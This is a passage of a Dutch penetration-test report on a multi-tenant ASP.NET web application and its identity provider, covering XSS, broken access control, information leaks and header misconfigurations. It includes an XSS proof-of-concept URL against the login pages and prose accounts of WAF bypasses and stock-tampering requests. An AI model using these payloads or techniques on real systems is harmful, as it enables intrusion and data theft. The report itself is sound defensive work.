- Microsoft — CSRF in ASP.NET MVC: https://learn.microsoft.com/en-us/aspnet/mvc/overview/security/xsrfcsrf-prevention-in-aspnet-mvc-and-web-pages
Cross-tenant rapport ophalen via client-supplied company ID
| Severity | MEDIUM |
| OWASP | A01:2025 |
| Component | Reporting.mvc — rapport-generatie endpoints |
Vaststellingen
De rapport-generatie-endpoints accepteren een door de client meegestuurde company-id en genereren het rapport op basis van die waarde, zonder server-side te valideren of de geauthenticeerde gebruiker toegangsrechten heeft op die company.
Impact
Een geauthenticeerde gebruiker kan rapporten genereren op de data van elke andere tenant — de server controleert niet of de gebruiker er toegangsrechten op heeft.
- Stockgegevens en verbruikshistoriek — volledige voorraadinformatie van een andere tenant opvraagbaar
- Vertrouwelijke prijsstelling — prijsinformatie via de WithPrice-variant inzichtelijk voor elke ingelogde gebruiker
- Bedrijfsdata — JobScale-rapporten en gerelateerde bedrijfsinformatie van concurrenten of klanten bereikbaar
Aanbevelingen
- Server-side scopecheck — valideer dat de meegestuurde company-identifier toebehoort aan de geauthenticeerde gebruiker vóór data ophalen; weiger anders met
403 Forbidden - Inventariseer vergelijkbare endpoints — controleer alle controller-actions die een tenant- of company-ID als parameter aannemen op aanwezigheid van de scopecheck
Referenties
- OWASP A01:2025 — Broken Access Control: https://owasp.org/Top10/A01_2025-Broken_Access_Control/
- CWE-639: Authorization Bypass Through User-Controlled Key: https://cwe.mitre.org/data/definitions/639.html
- OWASP IDOR Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html
141 externe integratiepartners gelekt via GetAccountInfo
| Severity | LOW |
| OWASP | A05:2025 |
| Component | Account.mvc/GetAccountInfo |
Vaststellingen
De GetAccountInfo-response bevat een ExternalSourceList-array met alle 141 geregistreerde externe integratiesystemen inclusief interne numerieke ID’s:
Beschikbaar voor elke geauthenticeerde gebruiker, ongeacht rol of tenant.
Impact
Elke geauthenticeerde gebruiker kan de volledige lijst van 141 externe integratiesystemen opvragen, inclusief interne ID’s die de structuur van de integratielaag blootleggen.
- Reconnaissance — de volledige set externe systemen en hun ID-schema is beschikbaar voor elke ingelogde gebruiker, ongeacht rol of tenant
- Gerichte IDOR-tests — de numerieke ID’s laten gerichte aanvallen uitvoeren op endpoints die een integratiesysteem als parameter aannemen
- Deel van een breder patroon — consistent met het information disclosure-profiel van de applicatie
Aanbevelingen
- RBAC — filter
ExternalSourceListop basis van rol; standaardgebruikers hebben deze lijst niet nodig - Minimaliseer respons — retourneer enkel de naam, zonder interne numerieke ID’s
Referenties
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- CWE-200: Exposure of Sensitive Information: https://cwe.mitre.org/data/definitions/200.html
- OWASP REST Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html
[IdP] serverinfo-endpoint publiek toegankelijk zonder authenticatie
| Severity | LOW |
| OWASP | A05:2025 |
| Component | [auth.klant.com]/am/json/realms/root/realms/alpha/serverinfo/* |
Vaststellingen
Het [IdP] serverinfo-endpoint is unauthenticated toegankelijk:
GET https://[auth.klant.com]/am/json/realms/root/realms/alpha/serverinfo/*
Onthult: realm-naam, sessiecookie-naam, configuratiemethode en [IDENTITY PROVIDER] als leverancier.
Impact
Het endpoint geeft zonder authenticatie de sessiecookie-naam, realm-structuur en leveranciersinformatie vrij — bruikbaar als opstap voor gerichte aanvallen op de authenticatielaag.
- Sessiecookie-naam —
6b452dd9f388da4is bruikbaar bij sessie-fixatie of gerichte cookie-manipulatie - Leveranciers- en configuratieprofiel — realm, leverancier ([IDENTITY PROVIDER]) en configuratiemethode (
file-based) verlagen de drempel voor gerichte exploits op deze stack - Verstevigt andere bevindingen — in combinatie met de standaard cryptografische sleutels vormt dit een volledig aanvalsprofiel op de authenticatielaag
Aanbevelingen
- Blokkeer extern — beperk toegang via IP-whitelist of authenticatieheader; als enige consumer
[app.klant.com]is, volstaat een server-side IP-filter - Schakel uit indien onnodig — als het endpoint niet functioneel vereist is voor de authenticatieflow, verwijder of blokkeer het volledig
Referenties
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- CWE-200: Exposure of Sensitive Information: https://cwe.mitre.org/data/definitions/200.html
- Ping Identity — [IdP] Security Hardening: https://docs.pingidentity.com/pingam/7.4/security/sec-guide-hardening.html
Gebruik van Standaard Cryptografische Sleutels in [IdP]
| Severity | LOW |
| OWASP | A02:2025 |
| Component | [auth.klant.com] / [qaauth.klant.com] |
Vaststellingen
Zowel productie als QA gebruiken de standaard [IdP] testsleutel directenctest in de SAML v2.0-flow. Dit is een publiek bekende alias die [IdP] uitsluitend voor demonstratiedoeleinden meelevert.
JWE-token header:
alg: dir betekent Direct Key Agreement — de standaard [IdP]-sleutel fungeert direct als Content Encryption Key. Dit werd vastgesteld op zowel [auth.klant.com]/am/SSORedirect/metaAlias/alpha/idp (productie) als de QA-omgeving.
Verificatie vereist
idpSSOInit.jsp retourneert HTTP 403 op productie — de nieuwe React XUI is actief. De spEntityID-XSS op registration.jsp en forgotpassword.jsp is niet bevestigd op de React XUI. Herverificatie gericht op de React XUI is aanbevolen.
Impact
Productie en QA gebruiken een publiek bekende standaardsleutel die uitsluitend voor demonstraties is bedoeld — de organisatie heeft geen controle over het onderliggende sleutelmateriaal.
- SAML-token ontsleuteling — de standaardsleutel is publiek gedocumenteerd; een aanvaller kan onderschepte JWE-tokens ontsleutelen
- Token-vervalsing — met de sleutel zijn geldige SAML-tokens te vervalsen, wat authenticatie-bypass mogelijk maakt
- Geen zicht op sleutelbeheer — de organisatie heeft geen controle over hoe [IdP] de standaardsleutels intern genereert of deelt
Aanbevelingen
- Vervang de sleutel — genereer unieke sleutels voor beide tenants; vervang
directenctestin productie én QA - Audit alle aliassen — controleer
test,rsajwtsign,selfserviceenctesten alle overige aliassen op standaardwaarden - Sleutelrotatie — richt een formeel sleutelrotatieproces in
Referenties
- OWASP A02:2025 — Cryptographic Failures: https://owasp.org/Top10/A02_2025-Cryptographic_Failures/
- OWASP Key Management Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html
- Ping Identity — Change default key aliases: https://docs.pingidentity.com/pingam/7.4/security/change-signing-key.html
- Ping Identity — Secrets, certificates, and keys: https://docs.pingidentity.com/pingam/7.4/security/secrets-certs-keys.html
Information disclosure
| Severity | LOW |
| OWASP | A05:2025 |
| Component | Doorheen de volledige applicatie |
Vaststellingen
De applicatie deelt structureel meer informatie met de client dan functioneel noodzakelijk. Zeven afzonderlijke lekken, samen een volledig reconnaissance-profiel:
- Technologie-stack:
.mvc-extensies in elke URL,ASP.NET_SessionId,.ASPXAUTHen__VIEWSTATE-patronen onthullen ASP.NET MVC. - Versie en build:
masterjsbevat JS-libraries uit 2012–2016 — framework-leeftijd direct herleidbaar (zie aparte finding). - Interne netwerkinfrastructuur:
/JobBrowser.mvc/GetIpScalesretourneert interne IP-adressen, fabrikant, modelnummer en serienummer van hardware-assets (zie aparte finding). - Database-identifiers: GUIDs in URLs, request bodies en JSON-responses (
License-{guid}DRE, formula-IDs, spectro-metingen, stock-records) leggen de datastructuur bloot. - Bestandssysteem:
/Search.mvc/DownloadExportFile/gebruikt tijdelijke bestandsnamen (tmp9510.tmp-formaat) — Windows-temp-conventie zichtbaar. - Foutpagina’s:
/Error.mvc/UnhandledExceptionen/Logger.mvc/Errorleveren diagnostische detail in productie. - Module-structuur: voorspelbare controller-namen (
Account.mvc,Stock.mvc,Configuration.mvc…) laten de domein-architectuur raden — inclusief niet-zichtbare endpoints zoals/Configuration.mvc/FormulaImportXml/.
Impact
De applicatie lekt op zeven afzonderlijke plaatsen meer informatie dan functioneel noodzakelijk — samen geven ze een volledig verkenningsprofiel van de stack, topologie en datastructuren.
- Tech-stack identificatie —
.mvc-extensies,ASP.NET_SessionIdenmasterjs-bibliotheken onthullen ASP.NET MVC met directe versie-indicatie - Interne netwerktopologie — IP-adressen, fabrikant en modelnummer van hardware-assets beschikbaar voor elke gebruiker (zie InterneIPadressen)
- Database-structuur — GUIDs in URLs en responses leggen het identifier-schema bloot
- Endpoint-map — voorspelbare controller-namen laten de volledige domein-architectuur raden, inclusief niet-gelinkte endpoints
Aanbevelingen
- DTO-laag — introduceer een expliciete DTO-laag zodat elke API-respons enkel de velden bevat die de UI gebruikt
- Generieke foutpagina’s — configureer
customErrors mode="On"; diagnostische details horen in server-side logs, niet in de response - Verwijder versie-info — verwijder build-versie en SHA uit client-side responses (zie ook VersionGitSHA)
- Opaque identifiers — vervang GUIDs in externe referenties door per-sessie tokens waar mogelijk
Referenties
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- CWE-200: Exposure of Sensitive Information: https://cwe.mitre.org/data/definitions/200.html
- CWE-209: Error Message Containing Sensitive Information: https://cwe.mitre.org/data/definitions/209.html
- OWASP Error Handling Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html
- PortSwigger — Information disclosure: https://portswigger.net/web-security/information-disclosure
Blootstelling van interne netwerkarchitectuur en hardware-details
| Severity | MEDIUM |
| OWASP | A05:2025 |
| Component | [app.klant.com]/JobBrowser.mvc/GetIpScales |
Vaststellingen
/JobBrowser.mvc/GetIpScales retourneert voor elke geauthenticeerde gebruiker een JSON-object met volledige hardware-metadata van gekoppelde hardware-apparaten:
- Interne IP-adressen (bv.
192.168.2.71) - Fabrikant, modelnummer en serienummer
Impact
Elke geauthenticeerde gebruiker kan zonder speciale rechten de volledige hardware-topologie van de productieomgeving opvragen.
- SSRF-voorbereiding — interne IP-adressen geven directe kennis van netwerksegmenten en bereikbare hosts; gerichte SSRF-aanvallen zijn mogelijk zonder blinde scan
- Gerichte firmware-exploitatie — model- en serienummers laten bekende CVE’s opzoeken voor de exacte hardware-versie in productie
- Versterkt post-exploitatie — de topologie-informatie is direct bruikbaar na een succesvolle aanval op de applicatielaag
Aanbevelingen
- Het wordt aanbevolen de
GetIpScales-respons te beperken tot de velden die de UI effectief gebruikt (Name,Id). - Aanbevolen wordt
Address,ModelenSerialserver-side uit de JSON-respons te verwijderen. - Het wordt aanbevolen het endpoint te beperken tot gebruikers met een beheerdersrol via een server-side autorisatiecheck.
Referenties
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- CWE-200: Exposure of Sensitive Information: https://cwe.mitre.org/data/definitions/200.html
- PortSwigger — Information disclosure: https://portswigger.net/web-security/information-disclosure
- OWASP REST Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html
Wildcard [*.analytics.vendor.com] gewhitelist in CSP script-src en connect-src
| Severity | MEDIUM |
| OWASP | A05:2025 |
| Component | [app.klant.com] / [qa.app.klant.com] — Content-Security-Policy |
Vaststellingen
De CSP whitelists een externe analytics-partij ([ANALYTICS-TOOL]) via wildcard:
connect-src 'self' [*.klant.com] [*.analytics.vendor.com] http:;
script-src 'self' 'unsafe-inline' 'unsafe-eval' [*.analytics.vendor.com];
[*.analytics.vendor.com] in script-src staat toe dat elk subdomein van [analytics.vendor.com] scripts serveert die in de browser van [APP]-gebruikers worden uitgevoerd.
Impact
Een wildcard in de CSP geeft elk subdomein van een externe partij het recht om scripts uit te voeren in de browsers van alle [APP]-gebruikers.
- Supply-chain aanval — een breach of subdomain takeover bij [ANALYTICS-TOOL] levert een persistent XSS-vector op voor alle gebruikers, zonder kwetsbaarheid in [APP] zelf
- Data-exfiltratie —
connect-src [*.analytics.vendor.com]staat toe dat ge-injecteerde scripts data exfiltreren naar [ANALYTICS-TOOL]-domeinen - Buiten de controleboog — de organisatie heeft geen directe invloed op de beveiliging van [ANALYTICS-TOOL]’s subdomeinen
Aanbevelingen
Controleer gebruik — verifieer of [ANALYTICS-TOOL] actief in gebruik is; zo niet, verwijder de
[*.analytics.vendor.com]-entries volledigVervang wildcard door exacte domeinen — [ANALYTICS-TOOL] publiceert de vereiste CSP-entries in hun documentatie; vervang de huidige wildcards door:
script-src https://snippet.[analytics.vendor.com]/ font-src https://snippet.[analytics.vendor.com]/ style-src https://snippet.[analytics.vendor.com]/ img-src https://snippet.[analytics.vendor.com]/ connect-src https://api.[analytics.vendor.com]/ https://prompts.[analytics.vendor.com]/ frame-src https://t.[analytics.vendor.com]/
Referenties
- [ANALYTICS-TOOL] — Website Test Security and Performance FAQs: https://help.[analytics.vendor.com]/articles/3136380208-website-test-security-and-performance-faqs
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- OWASP CSP Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
- MDN — Subresource Integrity: https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity
- PortSwigger — CSP bypass via third-party: https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs
Method Enforcement Ontbreekt
| Severity | LOW |
| OWASP | A01:2025 |
| Component | Stock.mvc/UpdateStock — meerdere controllers |
Vaststellingen
State-changing controller-actions accepteren GET-requests. Het meest kritieke geval: Stock.mvc/UpdateStock wijzigt voorraadstatus zonder bezwaar via GET.
Overige state-altering endpoints bereikbaar via GET:
/Reporting.mvc/UpdateSelectedModule//Reporting.mvc/GenerateReport/Reporting.mvc/GenerateReportWithPrice/JobCard.mvc/Initialize/
Read-only endpoints (Formula.mvc/GetStock/, JobDialog.mvc/GetJobCardDetails/) antwoorden ook op POST — niet state-wijzigend, maar method-afdwinging is inconsistent.
Impact
State-wijzigende acties zijn aanroepbaar via een gewone GET-request — een <img>-tag of hyperlink volstaat om ze te triggeren zonder formulier of bevestiging.
- CSRF zonder formulier —
UpdateStockvia GET is exploiteerbaar met een enkele<img src=...>-tag; geen interactie vereist - Dataleak via GET-parameters — queryparameters belanden in serverlogs, browser-history en Referer-headers, waardoor gevoelige request-data uitlekt
- Bewezen misbruikt — onderdeel van de ModificationStock-exploit
Aanbevelingen
- HTTP-methode afdwingen — beperk state-wijzigende actions tot POST via
[HttpPost]-attribuut; weiger GET met405 Method Not Allowed - Start met hoge prioriteit —
Stock.mvc/UpdateStock,Reporting.mvc/GenerateReportenAccount.mvc/LinkCompanyzijn de meest kritische endpoints
Referenties
- OWASP A01:2025 — Broken Access Control: https://owasp.org/Top10/A01_2025-Broken_Access_Control/
- CWE-650: Trusting HTTP Permission Methods on the Server Side: https://cwe.mitre.org/data/definitions/650.html
- Microsoft — Action Verbs in ASP.NET MVC: https://learn.microsoft.com/en-us/aspnet/mvc/overview/getting-started/introduction/adding-a-controller
E-mailadres en company ID van ingelogde gebruiker zichtbaar op elke pagina
| Severity | LOW |
| OWASP | A05:2025 |
| Component | App.Preloaded — (qa.)[app.klant.com] |
Vaststellingen
Elke geauthenticeerde pagina lekt gebruikersidentificatie via twee inline JavaScript-objecten:
E-mailadres, interne company ID, bedrijfsnaam en SAML-identifier zijn beschikbaar op elke pagina.
Impact
Het e-mailadres, de interne company ID en de SAML-identifier van elke ingelogde gebruiker staan op elke pagina in het DOM — leesbaar zonder API-call.
- Exploit-verkorting — de company ID is direct uitleesbaar uit
App.Preloaded.IdentCodevia XSS; de FormulaAccess-exploit reduceert daarmee tot één netwerk-request - Moeilijker te detecteren — minder netwerk-requests betekent minder anomalieën in logging; de aanvalschain is stiller
- Persistent blootgesteld — de data is aanwezig op elke geauthenticeerde pagina, niet enkel op een specifiek account-endpoint
Aanbevelingen
- Verwijder uit Preloaded — verwijder
IdentCodeenAccountInfoContentuitApp.Preloaded, of beperk tot een weergavenaam zonder e-mail of interne ID - Per-sessie token — als de company ID client-side nodig is, gebruik een kortlevend per-sessie token dat geen directe database-identifier onthult
Referenties
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- CWE-200: Exposure of Sensitive Information: https://cwe.mitre.org/data/definitions/200.html
- OWASP REST Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html
HSTS ontbreekt en Secure-flag afwezig op sessiecookie in productie
| Severity | LOW |
| OWASP | A05:2025 |
| Component | [app.klant.com] (productie) |
Vaststellingen
Twee misconfiguraties op productie die samen een SSL-stripping aanval mogelijk maken. De QA-omgeving is op beide punten correct geconfigureerd — hardening is niet naar productie gepromoveerd.
1. HSTS ontbreekt op [app.klant.com]
# [app.klant.com] (productie) — header afwezig
# [auth.klant.com] (correct, ter vergelijking)
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2. ASP.NET_SessionId zonder Secure-flag op productie
# Productie — Secure-flag afwezig
Set-Cookie: ASP.NET_SessionId=jurcmbt5sqo4yh23zegxihlm; path=/; HttpOnly; SameSite=Lax
# QA — correct geconfigureerd
Set-Cookie: ASP.NET_SessionId=rifny0yovkzyvsfss4gaifwj; path=/; secure; HttpOnly; SameSite=Lax
De AWSALB-cookie mist aanvullend zowel HttpOnly als Secure op productie (zie aparte finding).
Impact
Een aanvaller op hetzelfde netwerk kan de sessiecookie van een gebruiker onderscheppen zonder applicatiekwetsbaarheid — de productieomgeving mist beide standaardbeveiligingen die dit zouden voorkomen.
- SSL-stripping — zonder HSTS kan een aanvaller HTTP-verkeer afdwingen; de sessiecookie wordt meegestuurd omdat het
Secure-flag ontbreekt - Sessie-overname — de
ASP.NET_SessionIdvolstaat voor volledige sessie-overname; het slachtoffer merkt niets - QA is wél correct — beide beschermingen zijn aanwezig in de QA-omgeving; de hardening is niet naar productie gepromoveerd
Aanbevelingen
- Het wordt aanbevolen HSTS toe te voegen aan
[app.klant.com]:Strict-Transport-Security: max-age=63072000; includeSubDomains; preload - Aanbevolen wordt de Secure-flag toe te voegen aan de sessiecookie via
web.config:xml <httpCookies requireSSL="true" /> - Overweeg inschrijving op de HSTS Preload List na stabilisatie.
Referenties
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- OWASP Session Management Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
- MDN — Strict-Transport-Security: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
- HSTS Preload List: https://hstspreload.org/
Complexe herstelbaarheid van de QA-omgeving
| Severity | INFO |
| OWASP | A09:2025 |
| Component | QA-omgeving |
Vaststellingen
Het herstarten van de QA-omgeving na een crash is arbeidsintensief. Dit dwong testers tot verhoogde voorzichtigheid en beperkte de mogelijkheid om destructieve tests (fuzzing, stresstests) volledig uit te voeren.
Impact
Een onherstelbare QA-omgeving beperkt wat veilig getest kan worden — destructieve tests zijn vermeden, waardoor specifieke kwetsbaarheidsklassen ongetest zijn gebleven.
- Blinde vlekken in het testrapport — grenswaardige kwetsbaarheden (memory leaks, race conditions, DoS-condities) zijn niet getest; de werkelijke aanvalsoppervlakte is daardoor onbekend
- Terughoudendheid beïnvloedt diepgang — testers werkten voorzichtiger dan wenselijk, wat de kwaliteit van bevindingen op destructieve scenario’s negatief beïnvloedt
Aanbevelingen
- Automatiseer herstel — implementeer snapshot-restore of containerisatie zodat de QA-omgeving snel naar een gezonde staat kan worden teruggezet
- Component-isolatie — ontkoppel services zodat één component-failure niet de volledige omgeving blokkeert
Referenties
- OWASP A09:2025 — Security Logging and Monitoring Failures: https://owasp.org/Top10/A09_2025-Security_Logging_and_Monitoring_Failures/
- OWASP DevSecOps Guideline: https://owasp.org/www-project-devsecops-guideline/
Reflected XSS
| Severity | HIGH |
| OWASP | A03:2025 |
| Component | Product.mvc/Detail?id= |
Vaststellingen
De id-queryparameter wordt server-side gereflecteerd in een inline <script>-blok zonder context-bewuste output encoding — op de plaats waar App.Preloaded.ProductId wordt geïnitialiseerd. Het is mogelijk om uit de string-literal te breken en eigen JavaScript te laten uitvoeren.
De WAF blokkeert een deel van generieke payloads, maar URL-encoded varianten (%22) passeren ongehinderd (zie WAF bypass finding). De CSP (script-src 'unsafe-inline') biedt geen effectieve bescherming.
Gedetailleerde PoC’s in de exploitatierapporten:
Impact
Eén klik op een geprepareerde URL volstaat om willekeurige JavaScript uit te voeren in de actieve sessie van het slachtoffer — beide aanvalsketens zijn volledig gedemonstreerd.
- Acties namens het slachtoffer — alle API-calls die de gebruiker mag uitvoeren zijn aanroepbaar vanuit de injectie: voorraad aanpassen, formules opslaan, bedrijf koppelen
- Data-exfiltratie — formuladata, accountgegevens en company ID uitleesbaar en doorstuurbaar via out-of-band kanaal
- Bewezen exploiteerbaar — ModificationStock en FormulaAccess zijn volledig uitgewerkt en gedemonstreerd; beide verlopen in minder dan twee seconden
Aanbevelingen
- Input validation — het wordt aanbevolen
idserver-side te valideren op^\d+$en 400 te retourneren bij afwijking. - Output encoding — aanbevolen wordt
HttpUtility.JavaScriptStringEncode()toe te passen op de waarde in de JS string-literal context, of de waarde te renderen via eendata-attribuut op een DOM-element (HTML-attribuut-encoding) en uit te lezen via JavaScript. - CSP hardening — het wordt aanbevolen
unsafe-inlineenunsafe-evalte verwijderen en te migreren naar een nonce-gebaseerde whitelist.
Referenties
- OWASP A03:2025 — Injection: https://owasp.org/Top10/A03_2025-Injection/
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- CWE-79: Improper Neutralization of Input During Web Page Generation: https://cwe.mitre.org/data/definitions/79.html
- PortSwigger — Reflected XSS: https://portswigger.net/web-security/cross-site-scripting/reflected
Reflected XSS op Auth pages
| Severity | HIGH |
| OWASP | A03:2025 |
| Component | [auth.klant.com] — registration.jsp / forgotpassword.jsp |
Vaststellingen
De spEntityID-queryparameter wordt ongeschoond gereflecteerd in de HTML van registration.jsp en forgotpassword.jsp ([IdP] IDP):
https://[auth.klant.com]/Dashboard/registration.jsp?spEntityID=%22%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E%3C%22&locale=en_US
De CSP staat in Content-Security-Policy-Report-Only modus met unsafe-inline en unsafe-eval — niet afgedwongen en zou ook bij enforcement niet beschermen.
Impact
XSS op de centrale loginpagina maakt credential harvesting mogelijk op het echte domein — het slachtoffer ziet een geldige URL met een geldig TLS-certificaat en merkt niets.
- Credential harvesting — geprepareerde link laadt de echte loginpagina, onderschept het submit-event vóór verzending, en exfiltreert e-mail en wachtwoord naar een externe collector
- Ondetecteerbaar — de gebruiker logt normaal in; de URL en het TLS-certificaat van
[auth.klant.com]zijn legitiem - Volledige toegang — valide credentials geven de aanvaller volledige toegang tot de tenant van het slachtoffer, inclusief alle formules, voorraad en rapportdata
Aanbevelingen
- Output encoding — pas context-bewuste encoding toe op
spEntityIDen alle andere user-controllable parameters op de betrokken pagina’s - Allow-list validatie — valideer
spEntityIDserver-side tegen de lijst van geconfigureerde SAML SP’s; alles wat niet matcht →400 Bad Request - CSP enforcement — schakel de CSP van
Report-Onlynaar enforced en verwijderunsafe-inlineenunsafe-eval
Referenties
- OWASP A03:2025 — Injection: https://owasp.org/Top10/A03_2025-Injection/
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- CWE-79: Improper Neutralization of Input During Web Page Generation: https://cwe.mitre.org/data/definitions/79.html
- PortSwigger — Reflected XSS: https://portswigger.net/web-security/cross-site-scripting/reflected
saml_redirect_url cookie lekt intern staging-domein en open redirect risico
| Severity | INFO |
| OWASP | A05:2025 |
| Component | [app.klant.com] — saml_redirect_url cookie |
Vaststellingen
Na authenticatie via SAML zet de applicatie een cookie met de redirect-URL:
saml_redirect_url=https://[stage.klant.com]/content/[app-path]/en_GB/access-denied.html
Dit onthult het interne staging-domein [stage.klant.com] en de bijbehorende URL-structuur. Als de saml_redirect_url-waarde zonder server-side validatie als redirect-target wordt gebruikt, is open redirect mogelijk.
Impact
De SAML redirect-cookie bevat een verwijzing naar het interne staging-domein en kan via XSS worden gemanipuleerd voor een open redirect direct na authenticatie.
- Informatieleak — het interne staging-domein
[stage.klant.com]en de bijbehorende URL-structuur zijn zichtbaar voor elke geauthenticeerde gebruiker - Open redirect via XSS — een aanvaller kan via XSS de cookie-waarde aanpassen en het slachtoffer omleiden naar een externe site als de server de waarde ongevalideerd gebruikt als redirect-target
- Phishing-facilitator — een redirect naar een look-alike domein direct ná authenticatie is onopvallend en effectief
Aanbevelingen
- Allow-list validatie — valideer
saml_redirect_urlserver-side tegen een allow-list van toegestane domeinen vóór gebruik als redirect-target - Server-side opslag — bewaar de redirect-URL in de server-side sessie zodat de waarde niet client-side manipuleerbaar is
Referenties
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- OWASP Unvalidated Redirects and Forwards Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
- CWE-601: URL Redirection to Untrusted Site: https://cwe.mitre.org/data/definitions/601.html
[stage.klant.com] exposeert X-Powered-By: ASP.NET header
| Severity | INFO |
| OWASP | A05:2025 |
| Component | [stage.klant.com] |
Vaststellingen
[stage.klant.com] stuurt technologie-onthullende headers mee in responses:
X-Powered-By: ASP.NET
x-azure-ref: 20260507T193744Z-184d7b9bf7...
[app.klant.com] (productie) onderdrukt deze header correct. Het staging-platform bevestigt zo ASP.NET en Azure-hosting.
Impact
Een enkele response-header bevestigt de tech-stack van het staging-platform en verrijkt het reconnaissance-profiel van de organisatie.
- Tech-stack bevestiging —
X-Powered-By: ASP.NETenx-azure-refbevestigen ASP.NET op Azure, consistent met de productiestack - Additief informatielek — minimale zelfstandige impact, maar additief in het bredere information disclosure-profiel
Aanbevelingen
- Verwijder de header — voeg de volgende directive toe aan
web.configvan[stage.klant.com]:
- Overweeg toegangsbeperking — beoordeel of
[stage.klant.com]publiek bereikbaar moet zijn of enkel via VPN
Referenties
- OWASP A05:2025 — Security Misconfiguration: https://owasp.org/Top10/A05_2025-Security_Misconfiguration/
- CWE-200: Exposure of Sensitive Information: https://cwe.mitre.org/data/definitions/200.html
- OWASP HTTP Security Response Headers Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html
Client-supplied stockwaarde gebruikt als basis voor serverberekening
| Severity | MEDIUM |
| OWASP | A04:2025 |
| Component | Stock.mvc/UpdateStock |
Vaststellingen
UpdateStock accepteert per item drie velden:
De server gebruikt de meegestuurde Stock-waarde als basis voor de berekening in plaats van de actuele waarde op te halen uit de database. Een request met een willekeurige Stock-waarde en ChangedAmount: 0 stelt de stock naar elke gewenste absolute waarde — zonder validatie.
Impact
De server vertrouwt blindelings de stockwaarde die de client meestuurt — elk artikel is instelbaar op elke gewenste waarde, zonder validatie.
- Onbeperkte voorraadfraude — een request met
Stock: <gewenste waarde>enChangedAmount: 0stelt elk artikel op een absolute waarde; geen verdere autorisatie vereist - Supply chain verstoord — stockstatus stuurt herbestelling, facturatie en JIT-leveringen aan; gecorrumpeerde waarden verstoren de volledige bedrijfslogica
- Geautomatiseerd aanvalbaar — een loop over alle productcodes verstoort de volledige voorraadstatus in één request-batch, zoals gedemonstreerd in de ModificationStock-exploit
Aanbevelingen
- Het wordt aanbevolen de actuele stockwaarde server-side op te halen uit de database op basis van
stockId+ProductCode, zodat de meegestuurdeStock-waarde niet als berekeningsbasis wordt gebruikt. - Als
Stockbedoeld is als concurrency-token, wordt aangeraden te valideren dat de meegestuurde waarde overeenkomt met de server-side waarde en anders te weigeren met409 Conflict. - Aanbevolen wordt server-side te valideren dat
Operatorenkel+of-is,ChangedAmountnon-negatief is, en het resultaat binnen bedrijfslogische grenzen valt.
Referenties
- OWASP A04:2025 — Insecure Design: https://owasp.org/Top10/A04_2025-Insecure_Design/
- CWE-602: Client-Side Enforcement of Server-Side Security: https://cwe.mitre.org/data/definitions/602.html
- OWASP Mass Assignment Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html
Stored XSS
| Severity | HIGH |
| OWASP | A03:2025 |
| Component | CustomFormula.mvc/Save — Messages-veld |
Vaststellingen
Het Messages-veld op een Personal Template wordt opgeslagen zonder sanitisatie en bij rendering uitgevoerd in de browser van elke gebruiker die de formula opent.
Plain <script>-payloads werden geblokkeerd door de WAF. Bypass via Unicode-encoding in de JSON-body (<script>...</script>) werd de payload gedecodeerd opgeslagen, waarna deze als HTML werd geïnterpreteerd bij rendering. De CSP (script-src 'unsafe-inline') biedt geen bescherming. Gedetailleerde PoC in het exploit-rapport: FormulaAccess.
Impact
Een aanvaller met een geldig account slaat één keer een payload op — daarna voert die automatisch uit in de browser van elke gebruiker die de formula opent, zonder verdere interactie.
- Accountovername — de sessie van het slachtoffer is direct bruikbaar: alle API-acties die de gebruiker zelf kan uitvoeren, kan de aanvaller nu ook uitvoeren.
- Datadiefstal — persoonlijke formulas, productdata en accountgegevens zijn uitleesbaar en exfiltreerbaar via een out-of-band kanaal.
- Voorraadfraude — stockwaarden aanpassen namens het slachtoffer, zoals gedemonstreerd in de ModificationStock-exploit.
- Verspreiding via export/import — formulas zijn exporteerbaar en importeerbaar door andere tenants; een geïnfecteerde formula kan zo meereizen naar een andere organisatie.
- Phishing in context — de aanvaller heeft volledige controle over de DOM en kan een overtuigende overlay injecteren die inloggegevens of MFA-codes onderschept.
Aanbevelingen
- Input validation — het wordt aanbevolen
Messagesserver-side te valideren op een allow-list en maximale lengte, ná URL/Unicode-decoding. - Output encoding — aanbevolen wordt
